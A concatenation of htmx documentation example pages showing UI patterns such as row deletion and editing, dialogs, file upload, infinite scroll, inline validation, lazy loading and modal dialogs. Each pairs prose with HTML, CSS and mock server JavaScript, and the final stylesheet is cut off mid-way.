To fade the row out before it is swapped/removed.

Each row has a button with a [`hx-delete`](@/attributes/hx-delete.md) attribute containing the url on which to issue a `DELETE`
request to delete the row from the server. This request responds with a `200` status code and empty content, indicating that the
row should be replaced with nothing.

```html
<tr>
  <td>Angie MacDowell</td>
  <td>angie@macdowell.org</td>
  <td>Active</td>
  <td>
    <button class="btn danger" hx-delete="/contact/1">
      Delete
    </button>
  </td>
</tr>
```

<style>
tr.htmx-swapping td {
  opacity: 0;
  transition: opacity 1s ease-out;
}
</style>

{{ demoenv() }}

<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // data
    var contacts = [
      {
        name: "Joe Smith",
        email: "joe@smith.org",
        status: "Active",
      },
      {
        name: "Angie MacDowell",
        email: "angie@macdowell.org",
        status: "Active",
      },
      {
        name: "Fuqua Tarkenton",
        email: "fuqua@tarkenton.org",
        status: "Active",
      },
      {
        name: "Kim Yee",
        email: "kim@yee.org",
        status: "Inactive",
      },
    ];

    // routes
    init("/demo", function(request, params){
      return tableTemplate(contacts);
    });

    onDelete(/\/contact\/\d+/, function(request, params){
      return "";
    });

    // templates
    function rowTemplate(contact, i) {
      return `<tr>
      <td>${contact["name"]}</td>
      <td>${contact["email"]}</td>
      <td>${contact["status"]}</td>
      <td>
        <button class="btn danger" hx-delete="/contact/${i}">
          Delete
        </button>
      </td>
    </tr>`;
    }

    function tableTemplate(contacts) {
      var rows = "";

      for (var i = 0; i < contacts.length; i++) {
        rows += rowTemplate(contacts[i], i, "");
      }

      return `
<table class="table delete-row-example">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th>Status</th>
      <th></th>
    </tr>
  </thead>
  <tbody hx-confirm="Are you sure?" hx-target="closest tr" hx-swap="outerHTML swap:1s">
    ${rows}
  </tbody>
</table>`;
    }

</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/dialogs.md

+++
title = "Dialogs"
template = "demo.html"
+++

Dialogs can be triggered with the [`hx-prompt`](@/attributes/hx-prompt.md) and [`hx-confirm`](@/attributes/hx-confirm.md)attributes.  These are triggered by the user interaction that would trigger the AJAX request, but the request is only sent if the dialog is accepted.

```html
<div>
  <button class="btn primary"
          hx-post="/submit"
          hx-prompt="Enter a string"
          hx-confirm="Are you sure?"
          hx-target="#response">
    Prompt Submission
  </button>
  <div id="response"></div>
</div>
```

The value provided by the user to the prompt dialog is sent to the server in a `HX-Prompt` header.  In this case, the server simply echos the user input back.

```html
User entered <i>${response}</i>
```

{{ demoenv() }}

<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params){
      return submitButton();
    });

    onPost("/submit", function(request, params){
        var response = request.requestHeaders['HX-Prompt'];
        return promptSubmit(response);
    });

    // templates
    function submitButton() {
      return `<div>
  <button class="btn primary"
          hx-post="/submit"
          hx-prompt="Enter a string"
          hx-confirm="Are you sure?"
          hx-target="#response">
    Prompt Submission
  </button>
  <div id="response"></div>
</div>`;
    }

    function promptSubmit(response) {
        return `User entered <i>${response}</i>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/edit-row.md

+++
title = "Edit Row"
template = "demo.html"
+++

This example shows how to implement editable rows.  First let's look at the table body:

```html
<table class="table delete-row-example">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody hx-target="closest tr" hx-swap="outerHTML">
    ...
  </tbody>
</table>
```

This will tell the requests from within the table to target the closest enclosing row that the request is triggered
on and to replace the entire row.

Here is the HTML for a row:

```html
<tr>
      <td>${contact.name}</td>
      <td>${contact.email}</td>
      <td>
        <button class="btn danger"
                hx-get="/contact/${contact.id}/edit"
                hx-trigger="edit"
                onClick="let editing = document.querySelector('.editing')
                         if(editing) {
                           Swal.fire({title: 'Already Editing',
                                      showCancelButton: true,
                                      confirmButtonText: 'Yep, Edit This Row!',
                                      text:'Hey!  You are already editing a row!  Do you want to cancel that edit and continue?'})
                           .then((result) => {
                                if(result.isConfirmed) {
                                   htmx.trigger(editing, 'cancel')
                                   htmx.trigger(this, 'edit')
                                }
                            })
                         } else {
                            htmx.trigger(this, 'edit')
                         }">
          Edit
        </button>
      </td>
    </tr>
```

Here we are getting a bit fancy and only allowing one row at a time to be edited, using some JavaScript.
We check to see if there is a row with the `.editing` class on it and confirm that the user wants to edit this row
and dismiss the other one.  If so, we send a cancel event to the other row so it will issue a request to go back to
its initial state.

We then trigger the `edit` event on the current element, which triggers the htmx request to get the editable version
of the row.

Note that if you didn't care if a user was editing multiple rows, you could omit the hyperscript and custom `hx-trigger`,
and just let the normal click handling work with htmx.  You could also implement mutual exclusivity by simply targeting the
entire table when the Edit button was clicked.  Here we wanted to show how to integrate htmx and JavaScript to solve
the problem and narrow down the server interactions a bit, plus we get to use a nice SweetAlert confirm dialog.

Finally, here is what the row looks like when the data is being edited:

```html
<tr hx-trigger='cancel' class='editing' hx-get="/contact/${contact.id}">
  <td><input autofocus name='name' value='${contact.name}'></td>
  <td><input name='email' value='${contact.email}'></td>
  <td>
    <button class="btn danger" hx-get="/contact/${contact.id}">
      Cancel
    </button>
    <button class="btn danger" hx-put="/contact/${contact.id}" hx-include="closest tr">
      Save
    </button>
  </td>
</tr>
```

Here we have a few things going on:  First off the row itself can respond to the `cancel` event, which will bring
back the read-only version of the row.  There is a cancel button that allows
cancelling the current edit.  Finally, there is a save button that issues a `PUT` to update the contact.  Note that
there is an [`hx-include`](@/attributes/hx-include.md) that includes all the inputs in the closest row.  Tables rows are
notoriously difficult to use with forms due to HTML constraints (you can't put a `form` directly inside a `tr`) so
this makes things a bit nicer to deal with.

{{ demoenv() }}

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // data
    var contacts = [
      {
        name: "Joe Smith",
        email: "joe@smith.org",
        status: "Active",
        id: 0
      },
      {
        name: "Angie MacDowell",
        email: "angie@macdowell.org",
        status: "Active",
        id: 1
      },
      {
        name: "Fuqua Tarkenton",
        email: "fuqua@tarkenton.org",
        status: "Active",
        id: 2
      },
      {
        name: "Kim Yee",
        email: "kim@yee.org",
        status: "Inactive",
        id: 3
      },
    ];

    // routes
    init("/demo", function(request, params){
      return tableTemplate(contacts);
    });

    onGet(/\/contact\/\d+/, function(request, params){
      var id = parseInt(request.url.split("/")[2]); // get the contact
      var contact = contacts[id];
      console.log(request, id, contact)
      if(request.url.endsWith("/edit")) {
        return editTemplate(contacts[id])
      } else {
        return rowTemplate(contacts[id])
      }
    });

    onPut(/\/contact\/\d+/, function(request, params){
      var id = parseInt(request.url.split("/")[2]); // get the contact
      contact = contacts[id]
      contact.name = params['name'];
      contact.email = params['email'];
      return rowTemplate(contact);
    });

    // templates
    function rowTemplate(contact) {
      return `<tr>
      <td>${contact.name}</td>
      <td>${contact.email}</td>
      <td>
        <button class="btn danger"
                hx-get="/contact/${contact.id}/edit"
                hx-trigger="edit"
                onClick="let editing = document.querySelector('.editing')
                         if(editing) {
                           Swal.fire({title: 'Already Editing',
                                      showCancelButton: true,
                                      confirmButtonText: 'Yep, Edit This Row!',
                                      text:'Hey!  You are already editing a row!  Do you want to cancel that edit and continue?'})
                           .then((result) => {
                                if(result.isConfirmed) {
                                   htmx.trigger(editing, 'cancel')
                                   htmx.trigger(this, 'edit')
                                }
                            })
                         } else {
                            htmx.trigger(this, 'edit')
                         }">
          Edit
        </button>
      </td>
    </tr>`;
    }

    function editTemplate(contact) {
      return `<tr hx-trigger='cancel' class='editing' hx-get="/contact/${contact.id}">
      <td><input autofocus name='name' value='${contact.name}'</td>
      <td><input name='email' value='${contact.email}'</td>
      <td>
        <button class="btn danger" hx-get="/contact/${contact.id}">
          Cancel
        </button>
        <button class="btn danger" hx-put="/contact/${contact.id}" hx-include="closest tr">
          Save
        </button>
      </td>
    </tr>`;
    }

    function tableTemplate(contacts) {
      var rows = "";

      for (var i = 0; i < contacts.length; i++) {
        rows += rowTemplate(contacts[i], i, "");
      }

      return `
<table class="table delete-row-example">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody hx-target="closest tr" hx-swap="outerHTML">
    ${rows}
  </tbody>
</table>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/file-upload-input.md

+++
title = "Preserving File Inputs after Form Errors"
template = "demo.html"
+++

When using server-side error handling and validation with forms that include both primitive values and file inputs, the file input's value is lost when the form returns with error messages. Consequently, users are required to re-upload the file, resulting in a less user-friendly experience.

To overcome the problem of losing the file input value, you can use the `hx-preserve` attribute on the `input` element:

```html
<form method="POST" id="binaryForm" enctype="multipart/form-data" hx-swap="outerHTML" hx-target="#binaryForm">
    <input hx-preserve id="someId" type="file" name="binaryFile">
    <!-- Other code here, such as input error handling. -->
    <button type="submit">Submit</button>
</form>
```

If the file field is returned with errors on it, they will be displayed provided that `hx-preserve` was placed in the `input` only and not the element that would show the errors (e.g. `ol.errorlist`). If in a given circumstance you want the file upload input to return *without* preserving the user's chosen file (for example, because the file was an invalid type), you can manage that on the server side by omitting the `hx-preserve` attribute when the field has the relevant errors.

Alternatively, you can preserve file inputs after form errors by restructuring the form so that the file input is located outside the area that will be swapped.

Before:

```html
<form method="POST" id="binaryForm" enctype="multipart/form-data" hx-swap="outerHTML" hx-target="#binaryForm">
    <input type="file" name="binaryFile">
    <button type="submit">Submit</button>
</form>
```

After:

```html
<input form="binaryForm" type="file" name="binaryFile">

<form method="POST" id="binaryForm" enctype="multipart/form-data" hx-swap="outerHTML" hx-target="#binaryForm">
    <button type="submit">Submit</button>
</form>
```

1. Form Restructuring: Move the binary file input outside the main form element in the HTML structure.

2. Using the form Attribute: Enhance the binary file input by adding the form attribute and setting its value to the ID of the main form. This linkage associates the binary file input with the form, even when it resides outside the form element.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/file-upload.md

+++
title = "File Upload"
template = "demo.html"
+++

In this example we show how to create a file upload form that will be submitted via ajax, along
with a progress bar.

We will show two different implementation, one in pure javascript (using some utility methods in htmx) and one in [hyperscript](https://hyperscript.org)

First the pure javascript version.

* We have a form of type `multipart/form-data` so that the file will be properly encoded
* We post the form to `/upload`
* We have a `progress` element
* We listen for the `htmx:xhr:progress` event and update the `value` attribute of the progress bar based on the `loaded` and `total` properties in the event detail.

```html
    <form id='form' hx-encoding='multipart/form-data' hx-post='/upload'>
        <input type='file' name='file'>
        <button>
            Upload
        </button>
        <progress id='progress' value='0' max='100'></progress>
    </form>
    <script>
        htmx.on('#form', 'htmx:xhr:progress', function(evt) {
          htmx.find('#progress').setAttribute('value', evt.detail.loaded/evt.detail.total * 100)
        });
    </script>
```

The Hyperscript version is very similar, except:
 
 * The script is embedded directly on the form element
 * Hyperscript offers nicer syntax (although the htmx API is pretty nice too!)

```html
    <form hx-encoding='multipart/form-data' hx-post='/upload'
          _='on htmx:xhr:progress(loaded, total) set #progress.value to (loaded/total)*100'>
        <input type='file' name='file'>
        <button>
            Upload
        </button>
        <progress id='progress' value='0' max='100'></progress>
    </form>
```

Note that hyperscript allows you to destructure properties from `details` directly into variables

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/_index.md

+++
title = "Examples"
insert_anchor_links = "heading"
+++

## Server-side Integration Examples

A list of [GitHub repositories showing examples of integration](@/server-examples.md) with a wide variety of
server-side languages and platforms, including JavaScript, Python, Java, and many others.

## UI Examples

Below are a set of UX patterns implemented in htmx with minimal HTML and styling.

You can copy and paste them and then adjust them for your needs.

| Pattern                                                                     | Description                                                                                                                                        |
|-----------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------|
| [Click To Edit](@/examples/click-to-edit.md)                                | Demonstrates inline editing of a data object                                                                                                       |
| [Bulk Update](@/examples/bulk-update.md)                                    | Demonstrates bulk updating of multiple rows of data                                                                                                |
| [Click To Load](@/examples/click-to-load.md)                                | Demonstrates clicking to load more rows in a table                                                                                                 |
| [Delete Row](@/examples/delete-row.md)                                      | Demonstrates row deletion in a table                                                                                                               |
| [Edit Row](@/examples/edit-row.md)                                          | Demonstrates how to edit rows in a table                                                                                                           |
| [Lazy Loading](@/examples/lazy-load.md)                                     | Demonstrates how to lazy load content                                                                                                              |
| [Inline Validation](@/examples/inline-validation.md)                        | Demonstrates how to do inline field validation                                                                                                     |
| [Infinite Scroll](@/examples/infinite-scroll.md)                            | Demonstrates infinite scrolling of a page                                                                                                          |
| [Active Search](@/examples/active-search.md)                                | Demonstrates the active search box pattern                                                                                                         |
| [Progress Bar](@/examples/progress-bar.md)                                  | Demonstrates a job-runner like progress bar                                                                                                        |
| [Value Select](@/examples/value-select.md)                                  | Demonstrates making the values of a select dependent on another select                                                                             |
| [Animations](@/examples/animations.md)                                      | Demonstrates various animation techniques                                                                                                          |
| [File Upload](@/examples/file-upload.md)                                    | Demonstrates how to upload a file via ajax with a progress bar                                                                                     |
| [Preserving File Inputs after Form Errors](@/examples/file-upload-input.md) | Demonstrates how to preserve file inputs after form errors                                                                                         |
| [Reset User Input](@/examples/reset-user-input.md)                          | Demonstrates how to reset form inputs after submission                                                                                             |
| [Dialogs - Browser](@/examples/dialogs.md)                                  | Demonstrates the prompt and confirm dialogs                                                                                                        |
| [Dialogs - UIKit](@/examples/modal-uikit.md)                                | Demonstrates modal dialogs using UIKit                                                                                                             |
| [Dialogs - Bootstrap](@/examples/modal-bootstrap.md)                        | Demonstrates modal dialogs using Bootstrap                                                                                                         |
| [Dialogs - Custom](@/examples/modal-custom.md)                              | Demonstrates modal dialogs from scratch                                                                                                            |
| [Tabs (Using HATEOAS)](@/examples/tabs-hateoas.md)                          | Demonstrates how to display and select tabs using HATEOAS principles                                                                               |
| [Tabs (Using JavaScript)](@/examples/tabs-javascript.md)                    | Demonstrates how to display and select tabs using JavaScript                                                                                       |
| [Keyboard Shortcuts](@/examples/keyboard-shortcuts.md)                      | Demonstrates how to create keyboard shortcuts for htmx enabled elements                                                                            |
| [Drag & Drop / Sortable](@/examples/sortable.md)                            | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering                                                     |
| [Updating Other Content](@/examples/update-other-content.md)                | Demonstrates how to update content beyond just the target elements                                                                                 |
| [Confirm](@/examples/confirm.md)                                            | Demonstrates how to implement a custom confirmation dialog with htmx                                                                               |
| [Async Authentication](@/examples/async-auth.md)                            | Demonstrates how to handle async authentication tokens in htmx                                                                                     |
| [Web Components](@/examples/web-components.md)                              | Demonstrates how to integrate htmx with web components and shadow DOM                                                                              |
| [(Experimental) moveBefore()-powered hx-preserve](/examples/move-before)    | htmx will use the experimental [`moveBefore()`](https://cr-status.appspot.com/feature/5135990159835136) API for moving elements, if it is present. |

## Migrating from Hotwire / Turbo ?

For common practices see the [Hotwire / Turbo to htmx Migration Guide](@/migration-guide-hotwire-turbo.md).

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/infinite-scroll.md

+++
title = "Infinite Scroll"
template = "demo.html"
+++
        
The infinite scroll pattern provides a way to load content dynamically on user scrolling action.

Let's focus on the final row (or the last element of your content):

```html
<tr hx-get="/contacts/?page=2"
    hx-trigger="revealed"
    hx-swap="afterend">
  <td>Agent Smith</td>
  <td>void29@null.org</td>
  <td>55F49448C0</td>
</tr>
```

This last element contains a listener which, when scrolled into view, will trigger a request. The result is then appended after it.
The last element of the results will itself contain the listener to load the *next* page of results, and so on.

> `revealed` - triggered when an element is scrolled into the viewport (also useful for lazy-loading). If you are using `overflow` in css like `overflow-y: scroll` you should use `intersect once` instead of `revealed`.

{{ demoenv() }}

<script>
    server.autoRespondAfter = 1000; // longer response for more drama

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // data
    var dataStore = function(){
      var contactId = 9;
      function generateContact() {
        contactId++;
        var idHash = "";
        var possible = "ABCDEFG0123456789";
        for( var i=0; i < 10; i++ ) idHash += possible.charAt(Math.floor(Math.random() * possible.length));
        return { name: "Agent Smith", email: "void" + contactId + "@null.org", id: idHash }
      }
      return {
        contactsForPage : function(page) {
          var vals = [];
          for( var i=0; i < 20; i++ ){
            vals.push(generateContact());
          }
          return vals;
        }
      }
    }()
    
    // routes
    init("/demo", function(request, params){
      var contacts = dataStore.contactsForPage(1)
      return tableTemplate(contacts)
    });
    
    onGet(/\/contacts.*/, function(request, params){
      var page = parseInt(params['page']);
      var contacts = dataStore.contactsForPage(page)
      return rowsTemplate(page, contacts);
    });
    
    // templates
    function tableTemplate(contacts) {
      return `<table hx-indicator=".htmx-indicator"><thead><tr><th>Name</th><th>Email</th><th>ID</th></tr></thead><tbody>
              ${rowsTemplate(1, contacts)}
              </tbody></table><center><img class="htmx-indicator" width="60" src="/img/bars.svg" alt="Loading..."></center>`
    }

    function rowsTemplate(page, contacts) {
      var txt = "";
      var trigger_attributes = "";

      for (var i = 0; i < contacts.length; i++) {
        var c = contacts[i];

        if (i == (contacts.length - 1)) {
         trigger_attributes = ` hx-get="/contacts/?page=${page + 1}" hx-trigger="revealed" hx-swap="afterend"`
        }

        txt += "<tr" + trigger_attributes +"><td>" + c.name + "</td><td>" + c.email + "</td><td>" + c.id + "</td></tr>\n";
      }
      return txt;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/inline-validation.md

+++
title = "Inline Validation"
template = "demo.html"
+++

This example shows how to do inline field validation, in this case of an email address.  To do this
we need to create a form with an input that `POST`s back to the server with the value to be validated
and updates the DOM with the validation results.

We start with this form:

```html
<h3>Signup Form</h3>
<form hx-post="/contact">
  <div hx-target="this" hx-swap="outerHTML">
    <label>Email Address</label>
    <input name="email" hx-post="/contact/email" hx-indicator="#ind">
    <img id="ind" src="/img/bars.svg" alt="Checking..." class="htmx-indicator"/>
  </div>
  <div class="form-group">
    <label>First Name</label>
    <input type="text" class="form-control" name="firstName">
  </div>
  <div class="form-group">
    <label>Last Name</label>
    <input type="text" class="form-control" name="lastName">
  </div>
  <button class="btn primary">Submit</button>
</form>
```
Note that the first div in the form has set itself as the target of the request and specified the `outerHTML`
swap strategy, so it will be replaced entirely by the response.  The input then specifies that it will
`POST` to `/contact/email` for validation, when the `changed` event occurs (this is the default for inputs).
It also specifies an indicator for the request.

When a request occurs, it will return a partial to replace the outer div.  It might look like this:

```html
<div hx-target="this" hx-swap="outerHTML" class="error">
  <label>Email Address</label>
  <input name="email" hx-post="/contact/email" hx-indicator="#ind" value="test@foo.com">
  <img id="ind" src="/img/bars.svg" alt="Checking..." class="htmx-indicator"/>
  <div class='error-message'>That email is already taken.  Please enter another email.</div>
</div>
```

Note that this div is annotated with the `error` class and includes an error message element.

This form can be lightly styled with this CSS:

```css
  .error-message {
    color:red;
  }
  .error input {
      box-shadow: 0 0 3px #CC0000;
   }
  .valid input {
      box-shadow: 0 0 3px #36cc00;
   }
```

To give better visual feedback.

Below is a working demo of this example.  The only email that will be accepted is `test@test.com`.

<style>
  .error-message {
    color:red;
  }
  .error input {
      box-shadow: 0 0 3px #CC0000;
   }
  .valid input {
      box-shadow: 0 0 3px #36cc00;
   }
</style>

{{ demoenv() }}

<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params){
      return demoTemplate();
    });

    onPost("/contact", function(request, params){
      return formTemplate();
    });

    onPost(/\/contact\/email.*/, function(request, params){
        var email = params['email'];
        if(!/\S+@\S+\.\S+/.test(email)) {
          return emailInputTemplate(email, "Please enter a valid email address");
        } else if(email != "test@test.com") {
          return emailInputTemplate(email, "That email is already taken.  Please enter another email.");
        } else {
          return emailInputTemplate(email);
        }
     });

    // templates
    function demoTemplate() {

        return `<h3>Signup Form</h3><p>Enter an email into the input below and on tab out it will be validated.  Only "test@test.com" will pass.</p> ` + formTemplate();
    }

    function formTemplate() {
      return `<form hx-post="/contact">
  <div hx-target="this" hx-swap="outerHTML">
    <label for="email">Email Address</label>
    <input name="email" id="email" hx-post="/contact/email" hx-indicator="#ind">
    <img id="ind" src="/img/bars.svg" alt="Checking..." class="htmx-indicator"/>
  </div>
  <div class="form-group">
    <label for="firstName">First Name</label>
    <input type="text" class="form-control" name="firstName" id="firstName">
  </div>
  <div class="form-group">
    <label for="lastName">Last Name</label>
    <input type="text" class="form-control" name="lastName" id="lastName">
  </div>
  <button type='submit' class="btn primary" disabled>Submit</button>
</form>`;
    }

        function emailInputTemplate(val, errorMsg) {
            return `<div hx-target="this" hx-swap="outerHTML" class="${errorMsg ? "error" : "valid"}">
  <label>Email Address</label>
  <input name="email" hx-post="/contact/email" hx-indicator="#ind" value="${val}" aria-invalid="${!!errorMsg}">
  <img id="ind" src="/img/bars.svg" alt="Checking..." class="htmx-indicator"/>
  ${errorMsg ? (`<div class='error-message' >${errorMsg}</div>`) : ""}
</div>`;
        }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/keyboard-shortcuts.md

+++
title = "Keyboard Shortcuts"
template = "demo.html"
+++

In this example we show how to create a keyboard shortcut for an action.

We start with a simple button that loads some content from the server:

```html
<button class="btn primary" hx-trigger="click, keyup[altKey&&shiftKey&&key=='D'] from:body"
        hx-post="/doit">Do It! (alt-shift-D)</button>
```

Note that the button responds to both the `click` event (as usual) and also the keyup event when `alt-shift-D` is pressed.
The `from:` modifier is used to listen for the keyup event on the `body` element, thus making it a "global" keyboard
shortcut.

You can trigger the demo below by either clicking on the button, or by hitting alt-shift-D.

You can find out the conditions needed for a given keyboard shortcut here:

[https://javascript.info/keyboard-events](https://javascript.info/keyboard-events)

{{ demoenv() }}

<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/init", function(request, params){
        return "<button class='btn primary' style='font-size:20pt' hx-trigger='click, keyup[altKey&&shiftKey&&key==\"D\"] from:body'" +
                      " hx-post='/doit'>Do It! (alt-shift-D) </button>";
    });

    onPost("/doit", function (request, params) {
        return "Did it!";
    });

</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/lazy-load.md

+++
title = "Lazy Loading"
template = "demo.html"
+++

This example shows how to lazily load an element on a page.  We start with an initial
state that looks like this:

```html
<div hx-get="/graph" hx-trigger="load">
  <img alt="Result loading..." class="htmx-indicator" width="150" src="/img/bars.svg"/>
</div>
```

Which shows a progress indicator as we are loading the graph.  The graph is then
loaded and faded gently into view via a settling CSS transition:

```css
.htmx-settling img {
  opacity: 0;
}
img {
 transition: opacity 300ms ease-in;
}
```

<style>
.htmx-settling img {
  opacity: 0;
}
img {
 transition: opacity 300ms ease-in;
}
</style>

{{ demoenv() }}

<script>
    server.autoRespondAfter = 2000; // longer response for more drama

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params){
      return lazyTemplate();
    });

    onGet("/graph", function(request, params){
      return "<img alt='Tokyo Climate' src='/img/tokyo.png'>";
    });

    // templates
    function lazyTemplate(page) {
      return `<div hx-get="/graph" hx-trigger="load">
  <img alt="Result loading..." class="htmx-indicator" width="150" src="/img/bars.svg"/>
</div>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/modal-bootstrap.md

+++
title = "Modal Dialogs in Bootstrap"
template = "demo.html"
+++

Many CSS toolkits include styles (and Javascript) for creating modal dialog boxes.
This example shows how to use HTMX alongside original JavaScript provided by Bootstrap.

We start with a button that triggers the dialog, along with a DIV at the bottom of your
markup where the dialog will be loaded:

```html
<button
    hx-get="/modal"
    hx-target="#modals-here"
    hx-trigger="click"
    data-bs-toggle="modal"
    data-bs-target="#modals-here"
    class="btn primary">Open Modal</button>

<div id="modals-here"
    class="modal modal-blur fade"
    style="display: none"
    aria-hidden="false"
    tabindex="-1">
    <div class="modal-dialog modal-lg modal-dialog-centered" role="document">
        <div class="modal-content"></div>
    </div>
</div>
```

This button uses a `GET` request to `/modal` when this button is clicked.  The
contents of this file will be added to the DOM underneath the `#modals-here` DIV.

The server responds with a slightly modified version of Bootstrap's standard modal

```html
<div class="modal-dialog modal-dialog-centered">
  <div class="modal-content">
    <div class="modal-header">
      <h5 class="modal-title">Modal title</h5>
    </div>
    <div class="modal-body">
      <p>Modal body text goes here.</p>
    </div>
    <div class="modal-footer">
      <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
    </div>
  </div>
</div>
```

<div id="modals-here"
class="modal modal-blur fade"
style="display: none"
aria-hidden="false"
tabindex="-1">
    <div class="modal-dialog modal-lg modal-dialog-centered" role="document">
        <div class="modal-content"></div>
    </div>
</div>

{{ demoenv() }}

<style>
	@import "https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.2.2/css/bootstrap.min.css";
</style>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>
<script>

	//=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params) {
		return `<button
	hx-get="/modal"
	hx-target="#modals-here"
	hx-trigger="click"
    data-bs-toggle="modal"
    data-bs-target="#modals-here"
	class="btn primary">Open Modal</button>
	`})

	onGet("/modal", function(request, params){
	  return `<div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
        <div class="modal-header">
            <h5 class="modal-title">Modal title</h5>
        </div>
        <div class="modal-body">
            <p>Modal body text goes here.</p>
        </div>
    <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
    </div>
    </div>
</div>`
});
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/modal-custom.md

+++
title = "Custom Modal Dialogs"
template = "demo.html"
+++

While htmx works great with dialogs built into CSS frameworks (like [Bootstrap](@/examples/modal-bootstrap.md) and [UIKit](@/examples/modal-uikit.md)), htmx also makes
it easy to build modal dialogs from scratch.  Here is a quick example of one way to build them.

Click here to see a demo of the final result:

<button class="btn primary" hx-get="/modal" hx-target="body" hx-swap="beforeend">Open a Modal</button>

## High Level Plan

We're going to make a button that loads remote content from the server, then displays it in a modal dialog.  The modal
content will be added to the end of the `<body>` element, in a div named `#modal`.

In this demo we'll define some nice animations in CSS, and then use some [Hyperscript](https://hyperscript.org) to remove the
modals from the DOM when the user is done.  Hyperscript is *not* required with htmx, but the two were designed to be used
together and it is much nicer for writing async & event oriented code than JavaScript, which is why we chose it for this
example.

## Main Page HTML

```html
<button class="btn primary" hx-get="/modal" hx-target="body" hx-swap="beforeend">Open a Modal</button>
```

## Modal HTML Fragment
```html
<div id="modal" _="on closeModal add .closing then wait for animationend then remove me">
	<div class="modal-underlay" _="on click trigger closeModal"></div>
	<div class="modal-content">
		<h1>Modal Dialog</h1>
		This is the modal content.
		You can put anything here, like text, or a form, or an image.
		<br>
		<br>
		<button class="btn danger" _="on click trigger closeModal">Close</button>
	</div>
</div>
```

## Custom Stylesheet
```css
/***** MODAL DIALOG ****/
#modal {
	/* Underlay covers entire screen. */
	position: fixed;
	top:0px;
	bottom: 0px;
	left:0px;
	right:0px;
	background-color:rgba(0,0,0,0.5);
	z-index:1000;

	/* Flexbox centers the .modal-content vertically and horizontally */
	display:flex;
	flex-direction:column;
	align-items:center;

	/* Animate when opening */
	animation-name: fadeIn;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal > .modal-underlay {
	/* underlay takes up the entire viewport. This is only
	required if you want to click to dismiss the popup */
	position: absolute;
	z-index: -1;
	top:0px;
	bottom:0px;
	left: 0px;
	right: 0px;
}

#modal > .modal-content {
	/* Position visible dialog near the top of the window */
	margin-top:10vh;

	/* Sizing for visible dialog */
	width:80%;
	max-width:600px;

	/* Display properties for visible dialog*/
	border:solid 1px #999;
	border-radius:8px;
	box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.3);
	background-color:white;
	padding:20px;

	/* Animate when opening */
	animation-name:zoomIn;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal.closing {
	/* Animate when closing */
	animation-name: fadeOut;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal.closing > .modal-content {
	/* Animate when closing */
	animation-name: zoomOut;
	animation-duration:150ms;
	animation-timing-function: ease;
}

@keyframes fadeIn {
	0% {opacity: 0;}
	100% {opacity: 1;}
}

@keyframes fadeOut {
	0% {opacity: 1;}
	100% {opacity: 0;}
}

@keyframes zoomIn {
	0% {transform: scale(0.9);}
	100% {transform: scale(1);}
}

@keyframes zoomOut {
	0% {transform: scale(1);}
	100% {transform: scale(0.9);}
}
```

<script type="text/javascript">

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/modal", function(request){
		return `
		<div id="modal" _="on closeModal add .closing wait for animationend then remove me">
			<div class="modal-underlay" _="on click trigger closeModal"></div>
			<div class="modal-content">
				<h1>Modal Dialog</h1>
				This is the modal content.
				You can put anything here, like text, or a form, or an image.
				<br>
				<br>
				<button class="btn danger" _="on click trigger closeModal">Close</button>
			</div>
		</div>
		`
      });
</script>

<style>
/***** MODAL DIALOG ****/

#modal {
	/* Underlay covers entire screen. */
	position: fixed;
	top:0px;
	bottom: 0px;
	left:0px;
	right:0px;
	background-color:rgba(0,0,0,0.5);
	z-index:1000;

	/* Flexbox centers the .modal-content vertically and horizontally */
	display:flex;
	flex-direction:column;
	align-items:center;

	/* Animate when opening */
	animation-name: fadeIn;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal > .modal-underlay {
	/* underlay takes up the entire viewport. This is only
	required if you want to click to dismiss the popup */
	position: absolute;
	z-index: -1;
	top:0px;
	bottom:0px;
	left: 0px;
	right: 0px;
}

#modal > .modal-content {
